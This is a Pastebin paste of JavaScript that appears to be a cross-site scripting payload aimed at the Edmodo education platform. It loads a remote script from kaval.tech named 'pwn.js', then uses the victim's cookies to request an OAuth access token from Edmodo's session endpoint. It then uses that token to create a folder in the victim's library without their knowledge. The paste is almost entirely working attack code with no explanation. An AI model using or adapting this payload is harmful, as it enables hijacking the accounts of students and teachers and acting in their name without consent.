Advertisement
Guest User

Untitled

a guest
Jan 19th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. $.getScript('https://kaval.tech/pwn.js')
  2. $.getScript('https://assets.edmodo.com/e11.billygoat.js.all.76fe495c2ccc48d5.js')
  3. $.getScript('https://assets.edmodo.com/e10.landing.js.all.f7f2c6b011a1e739.js')
  4. $.getScript('https://assets.edmodo.com/e11.billygoat.templates.all.templates.3f21f991a4eba98d.js')
  5. $.getScript('https://assets.edmodo.com/e.base.js.all.1e6775abb59482da.js')
  6. $.getScript('https://assets.edmodo.com/e10.core.js.all.1349ef16baa9306d.js')
  7. $.getScript('https://assets.edmodo.com/e10.e1.js.student.87be7826164b829c.js')
  8. $.getScript('https://assets.edmodo.com/e10.e2.js.student.325c6cf2eb9f0c27.js')
  9. $.getScript('https://assets.edmodo.com/e10.e3.js.student.9eca7bcadb33031b.js')
  10. $.getScript('https://assets.edmodo.com/locales.en.all.locales-yaml.7d2f661e94b8aab1.js')
  11. $.getScript('https://assets.edmodo.com/e11.billygoat.templates.all.templates.3f21f991a4eba98d.js')
  12.  
  13. setTimeout(xfo(), 2000);
  14.  
  15. function xfo(){
  16.  
  17. var xyz= '';
  18. var xhr1 = new XMLHttpRequest();
  19. xhr1.open('POST', 'https://api.edmodo.com/sessions/from_cookie?request_origin=react-web-app', true);
  20. xhr1.setRequestHeader('Content-type', 'application/json');
  21. xhr1.withCredentials = true;
  22.  
  23. xhr1.onload = function() {
  24. var slaw= xhr1.response;
  25. var obj = JSON.parse(slaw);
  26. xyz = obj.access_token;
  27.  
  28. xjx();
  29. };
  30.  
  31. xhr1.send('{"client_id":"'+Billygoat.config.oauth.client_id+'","scope":"all","react_app_request":true}');
  32.  
  33. function xjx(){
  34.  
  35. var xhr = new XMLHttpRequest();
  36. xhr.open('POST', 'https://api.edmodo.com/library_items?access_token='+xyz+'&request_origin=react-web-app', true);
  37. xhr.setRequestHeader('Content-type', 'application/json');
  38. xhr.onload = function () {
  39. console.log(this.responseText);
  40. };
  41. xhr.send('{"type":"folder","parent_id":null,"item":{"name":"c"}}');
  42. }
  43.  
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement